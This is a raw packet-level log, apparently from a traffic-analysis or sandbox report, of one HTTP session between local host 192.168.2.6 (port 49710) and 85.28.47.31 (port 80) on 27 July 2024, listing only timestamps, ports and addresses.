Jul 27, 2024 03:19:09.845129013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845143080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845171928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845303059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845329046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845350981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845376015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845382929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845397949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845412016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845427036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845438957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845458984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845470905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845487118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845503092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845518112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845519066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845535994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845535994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845551968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845565081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845592976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.857022047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857086897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857110023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857125998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857131958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.857144117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857161045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857167006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.857201099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.857239008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857254982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857271910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857285976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.857315063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.857328892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857345104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857359886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857372046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.857378006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857394934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.857400894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.857424974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.857450008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.870773077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.870822906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.870839119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.870852947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.870867968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.870882034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.870886087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.870898962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.870925903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.870925903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.870945930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.871551037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.871578932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.871593952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.871628046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.871654987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.871752024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.871767044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.871797085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.871823072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.872241974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.872256994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.872273922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.872286081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.872288942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.872308016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.872333050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.873017073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.873047113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.873063087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.873066902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.873085976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.873094082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.873151064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.873167038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.873183012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.873193026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.873199940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.873209953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.873229980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.881577015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.881608009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.881623983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.881639004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.881655931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.881669998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.881686926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.881762028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.881786108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.882153988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882169962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882185936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882210970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882225037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882230997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.882234097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882261038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882311106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882320881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.882324934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882342100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882368088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.882386923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.882682085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882697105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882713079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882728100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.882754087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.882813931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882828951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.882858992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.882884026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.883125067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.883172989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.883181095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.883189917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.883212090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.883223057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.883363008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.883378983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.883394003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.883405924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.883421898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.883441925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.915884972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.915911913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.915925980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.915941000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.915956974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.915971041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.915987968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.916186094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927273989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927330017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927345991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927361012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927376986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927392006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927407980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927421093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927433014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927454948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927481890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927481890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927527905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927535057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927545071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927560091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927567005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927583933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927607059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927764893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927803040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927836895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927851915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927866936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.927875042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927901983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.927921057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.928051949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.928088903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.928114891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.928142071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.928153992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.928158045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.928174019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.928179979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.928190947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.928205967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.928211927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.928226948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.928260088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933410883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933433056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933448076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933507919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933542013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933553934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933569908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933584929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933598042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933614969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933634043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933687925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933702946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933717966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933734894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933737040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933777094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933777094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933783054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933789015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933799028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933814049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933820963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933830023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.933841944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933861017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.933892012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.934365034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.934408903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.934488058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.934501886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.934515953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.934525013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.934533119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.934547901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.934555054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.934564114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.934578896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.934587955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.934598923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.934628963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.945573092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945601940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945617914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945625067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945631981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945655107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945669889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945683956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945702076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945715904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945732117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.945808887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.945882082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.946238995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.946257114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.946271896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.946285009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.946304083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.946315050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.946346045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.959063053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.959091902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.959106922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.959122896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.959136009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.959139109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.959156036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.959161043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.959176064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.959213972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.959229946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.960763931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.960793972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.960808992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.960838079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.960839033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.960851908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.960854053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.960867882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.960882902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.960889101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.960899115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.960911036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.960925102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.960944891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.961570978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.961586952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.961601973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.961631060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.961644888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.961654902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.961662054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.961684942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.961715937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.961771011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.961819887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.961852074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.961894989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970146894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970175028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970191002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970205069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970215082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970221996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970237017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970241070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970253944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970263958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970282078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970313072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970370054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970412016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970418930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970427036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970454931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970463037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970467091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970509052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970536947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970551968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970566988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970572948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970608950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970629930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970746040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970788956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970798016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970820904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970835924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970840931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970851898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.970866919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970866919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970877886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.970896006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.971179962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971194983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971210957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971220016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.971240997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.971344948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971359968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971374989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971383095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.971390963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971407890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971412897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.971422911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971437931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.971442938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.971470118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.004667997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.004726887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.004744053 CEST	80	49710	85.28.47.31	192.168.2.6
